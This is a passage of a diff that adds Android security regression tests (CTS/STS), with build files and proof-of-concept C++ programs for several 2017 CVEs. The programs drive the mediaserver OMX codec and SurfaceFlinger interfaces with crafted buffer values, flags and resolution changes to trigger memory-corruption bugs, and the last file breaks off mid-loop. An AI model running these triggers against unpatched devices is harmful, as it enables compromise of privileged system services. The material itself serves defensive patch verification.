+ LOG_ALWAYS_FATAL_IF(core == NULL,
+ "BufferQueue: failed to create BufferQueueCore");
+
+ sp<IGraphicBufferProducer> producer(new EvilBufferQueueProducer(core));
+ LOG_ALWAYS_FATAL_IF(producer == NULL,
+ "BufferQueue: failed to create BufferQueueProducer");
+
+ sp<IGraphicBufferConsumer> consumer(new BufferQueueConsumer(core));
+ LOG_ALWAYS_FATAL_IF(consumer == NULL,
+ "BufferQueue: failed to create BufferQueueConsumer");
+
+ *outProducer = producer;
+ *outConsumer = consumer;
+}
+
+int main() {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("SurfaceFlinger"));
+ sp<ISurfaceComposer> sc = interface_cast<ISurfaceComposer>(binder);
+ if (sc == NULL) {
+ ALOGI("SurfaceComposer == NULL");
+ return 0;
+ }
+ sp<IGraphicBufferProducer> producer;
+ sp<IGraphicBufferConsumer> consumer;
+ createBufferQueue(&producer, &consumer);
+ IGraphicBufferProducer::QueueBufferOutput bufferOutput;
+ sp<CpuConsumer> cpuConsumer = new CpuConsumer(consumer, 1);
+ sp<IBinder> display(sc->getBuiltInDisplay(ISurfaceComposer::eDisplayIdMain));
+ sc->captureScreen(display, producer, Rect(), 64, 64, 0, 0x7fffffff, false);
+
+#if MUTI_THREAD
+ pthread_t pt;
+ pthread_create(&pt, NULL, run, NULL);
+#endif
+
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0340/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0340/Android.mk
new file mode 100644
index 0000000..dbd89c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0340/Android.mk
@@ -0,0 +1,51 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0340
+LOCAL_SRC_FILES:= poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libstagefright libmedia libutils libstagefright_foundation \
+ libgui libcutils liblog libcamera_client libradio libsoundtrigger libui libEGL
+
+LOCAL_SHARED_LIBRARIES += libbinder
+
+LOCAL_C_INCLUDES:= \
+ frameworks/av/media/libstagefright \
+ frameworks/av/media/libstagefright/include \
+ frameworks/native/include/media/openmax \
+ frameworks/native/services/surfaceflinger \
+ frameworks/native/include \
+ system/core/gatekeeperd \
+ hardware/qcom/media/msm8974/mm-core/inc \
+ hardware/qcom/media/mm-video-v4l2/vidc/vdec/inc \
+ hardware/libhardware/modules/gralloc \
+ system/media/audio_effects/include \
+ system/bt \
+ system/core \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_CFLAGS += -Wno-multichar -Wall -fpermissive
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0340/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0340/poc.cpp
new file mode 100644
index 0000000..63d715a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0340/poc.cpp
@@ -0,0 +1,216 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma GCC diagnostic ignored "-Wunused-parameter"
+#pragma GCC diagnostic ignored "-Wsign-compare"
+#pragma GCC diagnostic ignored "-Wunused-variable"
+#pragma GCC diagnostic ignored "-Wnon-virtual-dtor"
+
+#define LOG_TAG "fuzz"
+
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <media/stagefright/foundation/ADebug.h>
+
+#include <binder/Binder.h>
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/ProcessState.h>
+
+#include <media/IMediaHTTPService.h>
+#include <media/IMediaPlayerService.h>
+#include <media/stagefright/foundation/ALooper.h>
+
+#include <media/mediametadataretriever.h>
+#include <media/stagefright/AudioPlayer.h>
+#include <media/stagefright/DataSource.h>
+#include <media/stagefright/JPEGSource.h>
+#include <media/stagefright/MediaDefs.h>
+#include <media/stagefright/MediaErrors.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MediaSource.h>
+#include <media/stagefright/MetaData.h>
+#include <media/stagefright/OMXClient.h>
+
+#include <private/media/VideoFrame.h>
+
+#include <media/ICrypto.h>
+#include <media/IHDCP.h>
+#include <media/IMediaCodecList.h>
+#include <media/IMediaRecorder.h>
+
+#include <media/AudioEffect.h>
+#include <media/IAudioFlinger.h>
+#include <media/IEffect.h>
+#include <media/IEffectClient.h>
+#include <private/media/AudioEffectShared.h>
+
+#include <gui/ISensorEventConnection.h>
+#include <gui/ISensorServer.h>
+
+#include <binder/MemoryBase.h>
+#include <binder/MemoryDealer.h>
+#include <binder/MemoryHeapBase.h>
+
+#include <gui/BufferQueue.h>
+#include <gui/BufferQueueConsumer.h>
+#include <gui/BufferQueueCore.h>
+#include <gui/BufferQueueProducer.h>
+#include <gui/CpuConsumer.h>
+
+#include <media/IOMX.h>
+#include <media/hardware/HardwareAPI.h>
+#include "OMX_Component.h"
+#include "OMX_IndexExt.h"
+#include "OMX_QCOMExtns.h"
+#include "gralloc_priv.h"
+
+using namespace android;
+
+template <class T>
+static void InitOMXParams(T *params) {
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message> &messages) {
+ if (messages.empty()) {
+ return;
+ }
+ }
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+static bool connectOMX(sp<IOMX> &omx) {
+ sp<IServiceManager> sm = defaultServiceManager();
+
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService =
+ interface_cast<IMediaPlayerService>(binder);
+
+ if (mediaPlayerService == NULL) {
+ return false;
+ }
+
+ omx = mediaPlayerService->getOMX();
+ if (omx == NULL) {
+ return false;
+ }
+
+ return true;
+}
+
+void poc() {
+ sp<IOMX> service;
+ if (connectOMX(service) == false) return;
+
+ IOMX::node_id node = 0;
+ int fenceFd = -1;
+
+ const char *codecName = "OMX.Nvidia.vp9.decode";
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+ status_t err = service->allocateNode(codecName, observer, nullptr, &node);
+ if (err != OK) {
+ return;
+ }
+
+ // get input port parameters
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ InitOMXParams(&def);
+ def.nPortIndex = 0;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+
+ // prepare input port buffers
+ int inMemSize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ // get output port parameters
+ InitOMXParams(&def);
+ def.nPortIndex = 1;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+
+ // prepare output port buffers
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ // enable native buffers
+ err = service->enableNativeBuffers(node, 0, (OMX_BOOL)0 /*graphic*/,
+ (OMX_BOOL)1 /*enable*/);
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+
+ *((unsigned long *)memory->pointer() + 4) = 0x10;
+ *((long *)memory->pointer() + 3) = 0x10;
+
+ err = service->useBuffer(node, 0, memory, &inBufferId[i],
+ inBufferSize /*allottedSize*/);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ err = service->allocateBufferWithBackup(node, 1 /*in port index*/, memory,
+ &outBufferId[i], outBufferSize);
+ }
+
+ // change state from loaded to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, 2);
+
+ // change state from idle to executing
+ err = service->sendCommand(node, OMX_CommandStateSet, 3);
+
+ sleep(3);
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = service->emptyBuffer(node, inBufferId[i], 0, inBufferSize, 0, 0,
+ fenceFd);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = service->fillBuffer(node, outBufferId[i], fenceFd);
+ }
+
+ err = service->freeNode(node);
+}
+
+int main() {
+ android::ProcessState::self()->startThreadPool();
+ poc();
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0595/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0595/Android.mk
new file mode 100644
index 0000000..414f9c1
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0595/Android.mk
@@ -0,0 +1,48 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0595
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libstagefright libmedia libutils libstagefright_foundation \
+ libgui libcutils liblog libradio libsoundtrigger libui libEGL
+
+LOCAL_SHARED_LIBRARIES += libbinder
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/frameworks/native/include/media/openmax \
+ $(TOP)/hardware/qcom/media/msm8974/mm-core/inc \
+ $(TOP)/hardware/libhardware/modules/gralloc \
+ $(TOP)/frameworks/av/media/libstagefright/omx \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CPPFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wswitch-enum -Wundef
+LOCAL_CPPFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CPPFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CPPFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0595/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0595/poc.cpp
new file mode 100644
index 0000000..652cf46
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0595/poc.cpp
@@ -0,0 +1,293 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <media/IOMX.h>
+#include "OMX_IndexExt.h"
+#include "OMX_Component.h"
+#include "OMX_QCOMExtns.h"
+#include <media/hardware/HardwareAPI.h>
+#include "gralloc_priv.h"
+#include <binder/MemoryDealer.h>
+#include <binder/IServiceManager.h>
+#include <media/IMediaPlayerService.h>
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message> &messages) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+static bool connectOMX(sp<IOMX> &omx) {
+ sp<IServiceManager> sm = defaultServiceManager();
+
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService =
+ interface_cast<IMediaPlayerService>(binder);
+
+ if (mediaPlayerService == NULL) {
+ return false;
+ }
+
+ omx = mediaPlayerService->getOMX();
+ if (omx == NULL) {
+ return false;
+ }
+
+ return true;
+}
+
+template<class T>
+static void InitOMXParams(T *params) {
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+int main(void) {
+ sp<IOMX> service;
+ if (connectOMX(service) == false) return 1;
+
+ IOMX::node_id node = 0;
+ int fenceFd = -1;
+
+ const char *codecName = "OMX.google.vp8.encoder";
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+ status_t err = service->allocateNode(codecName, observer, nullptr, &node);
+ if (err != OK) {
+ ALOGI("%s node allocation fails", codecName);
+ return 1;
+ }
+
+ {
+ /* set mWidth and mHeight */
+ int paramsSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ params->nBufferCountActual = 4;
+ params->nBufferCountMin = 4;
+ params->nPortIndex = 0; // input
+ params->nSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+
+ params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+ params->format.video.eColorFormat = OMX_COLOR_FormatYUV420SemiPlanar;
+
+ params->format.video.nFrameWidth = 64;
+ params->format.video.nFrameHeight = 64;
+
+ err = service->setParameter(node, OMX_IndexParamPortDefinition, params,
+ paramsSize);
+ ALOGI("setParameter, err: %d", err);
+ }
+
+ // get input port parameters
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ InitOMXParams(&def);
+ def.nPortIndex = 0;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ ALOGI("port 0: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+
+ // prepare input port buffers
+ int inMemSize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+
+ // get output port parameters
+ InitOMXParams(&def);
+ def.nPortIndex = 1;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ ALOGI("port 1: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+
+ // prepare output port buffers
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+ memset(memory->pointer(), 0xCF, inBufferSize);
+ err = service->useBuffer(node, 0, memory, &inBufferId[i],
+ inBufferSize /*allottedSize*/);
+ ALOGI("useBuffer 0, port index 0, err: %d", err);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ err = service->useBuffer(node, 1 /*out port index*/, memory,
+ &outBufferId[i], outBufferSize);
+ ALOGI("useBuffer, port index 1, err: %d", err);
+ }
+
+ // change state from loaded to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, 2);
+ ALOGI("sendCommand, err: %d", err);
+
+ // change state from idle to executing
+ err = service->sendCommand(node, OMX_CommandStateSet, 3);
+ ALOGI("sendCommand, err: %d", err);
+
+ // fill len is 0, flag is OMX_BUFFERFLAG_EOS
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = service->emptyBuffer(node, inBufferId[i], 0,
+ 0 /*range_length, nFilledLen*/,
+ OMX_BUFFERFLAG_EOS /*flags*/, 0, fenceFd);
+ ALOGI("emptyBuffer, err: %d", err);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = service->fillBuffer(node, outBufferId[i], fenceFd);
+ ALOGI("fillBuffer, err: %d", err);
+ }
+
+ sleep(2);
+
+ // change state from executing to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, OMX_StateIdle);
+ ALOGI("sendCommand, err: %d", err);
+
+ // change state from executing to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, OMX_StateLoaded);
+ ALOGI("sendCommand, err: %d", err);
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = service->freeBuffer(node, 0, inBufferId[i]);
+ ALOGI("freeBuffer port 0, err: %d", err);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = service->freeBuffer(node, 1, outBufferId[i]);
+ ALOGI("freeBuffer port 1, err: %d", err);
+ }
+
+ // restart the encode flow
+ {
+ sleep(2);
+
+ /* set mWidth and mHeight*/
+ int paramsSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ params->nBufferCountActual = 4;
+ params->nBufferCountMin = 4;
+ params->nPortIndex = 0; // input
+ params->nSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+
+ params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+ params->format.video.eColorFormat = OMX_COLOR_FormatYUV420SemiPlanar;
+
+ params->format.video.nFrameWidth = 1024;
+ params->format.video.nFrameHeight = 1024;
+
+ err = service->setParameter(node, OMX_IndexParamPortDefinition, params,
+ paramsSize);
+ ALOGI("setParameter, err: %d", err);
+
+ // get input port parameters
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ InitOMXParams(&def);
+ def.nPortIndex = 0;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ ALOGI("port 0: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+
+ // prepare input port buffers
+ int inMemSize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+
+ // get output port parameters
+ InitOMXParams(&def);
+ def.nPortIndex = 1;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ ALOGI("port 1: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+
+ // prepare output port buffers
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+ memset(memory->pointer(), 0xCF, inBufferSize);
+ err = service->useBuffer(node, 0, memory, &inBufferId[i],
+ inBufferSize /*allottedSize*/);
+ ALOGI("useBuffer 0, port index 0, err: %d", err);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ err = service->useBuffer(node, 1 /*out port index*/, memory,
+ &outBufferId[i], outBufferSize);
+ ALOGI("useBuffer, port index 1, err: %d", err);
+ }
+
+ // change state from loaded to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, 2);
+ ALOGI("sendCommand, err: %d", err);
+
+ // change state from idle to executing
+ err = service->sendCommand(node, OMX_CommandStateSet, 3);
+ ALOGI("sendCommand, err: %d", err);
+
+ // fill len and flag are normal values.
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = service->emptyBuffer(node, inBufferId[i], 0,
+ inBufferSize /*range_length, nFilledLen*/,
+ 0 /*flags*/, 0, fenceFd);
+ ALOGI("emptyBuffer, err: %d", err);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = service->fillBuffer(node, outBufferId[i], fenceFd);
+ ALOGI("fillBuffer, err: %d", err);
+ }
+ }
+
+ err = service->freeNode(node);
+ ALOGI("freeNode, err: %d", err);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0596/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0596/Android.mk
new file mode 100644
index 0000000..06301ea
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0596/Android.mk
@@ -0,0 +1,48 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0596
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libstagefright libmedia libutils libstagefright_foundation \
+ libgui libcutils liblog libradio libsoundtrigger libui libEGL
+
+LOCAL_SHARED_LIBRARIES += libbinder
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/frameworks/native/include/media/openmax \
+ $(TOP)/hardware/qcom/media/msm8974/mm-core/inc \
+ $(TOP)/hardware/libhardware/modules/gralloc \
+ $(TOP)/frameworks/av/media/libstagefright/omx \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CPPFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wswitch-enum -Wundef
+LOCAL_CPPFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CPPFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CPPFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0596/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0596/poc.cpp
new file mode 100644
index 0000000..dc56967
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0596/poc.cpp
@@ -0,0 +1,287 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <media/IOMX.h>
+#include "OMX_IndexExt.h"
+#include "OMX_Component.h"
+#include "OMX_QCOMExtns.h"
+#include <media/hardware/HardwareAPI.h>
+#include "gralloc_priv.h"
+#include <binder/MemoryDealer.h>
+#include <binder/IServiceManager.h>
+#include <media/IMediaPlayerService.h>
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message> &messages) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+static bool connectOMX(sp<IOMX> &omx) {
+ sp<IServiceManager> sm = defaultServiceManager();
+
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService =
+ interface_cast<IMediaPlayerService>(binder);
+
+ if (mediaPlayerService == NULL) {
+ return false;
+ }
+
+ omx = mediaPlayerService->getOMX();
+ if (omx == NULL) {
+ return false;
+ }
+
+ return true;
+}
+
+template<class T>
+static void InitOMXParams(T *params) {
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+int main() {
+ sp<IOMX> service;
+ if (connectOMX(service) == false) return 1;
+
+ IOMX::node_id node = 0;
+ int fenceFd = -1;
+ const char *codecName = "OMX.google.mpeg4.encoder";
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+ status_t err = service->allocateNode(codecName, observer, nullptr, &node);
+ if (err != OK) {
+ ALOGI("%s node allocation fails", codecName);
+ return 1;
+ }
+
+ {
+ /* set mWidth and mHeight */
+ int paramsSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ params->nBufferCountActual = 4;
+ params->nBufferCountMin = 4;
+ params->nPortIndex = 0; // input
+ params->nSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+
+ params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+ params->format.video.eColorFormat = OMX_COLOR_FormatYUV420SemiPlanar;
+
+ params->format.video.nFrameWidth = 64;
+ params->format.video.nFrameHeight = 64;
+
+ ALOGI("setParameter");
+ err = service->setParameter(node, OMX_IndexParamPortDefinition, params,
+ paramsSize);
+ ALOGI("setParameter, err: %d", err);
+ }
+
+ // get input port parameters
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ InitOMXParams(&def);
+ def.nPortIndex = 0;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ ALOGI("port 0: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+
+ // prepare input port buffers
+ int inMemSize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+
+ // get output port parameters
+ InitOMXParams(&def);
+ def.nPortIndex = 1;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ ALOGI("port 1: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+
+ // prepare output port buffers
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
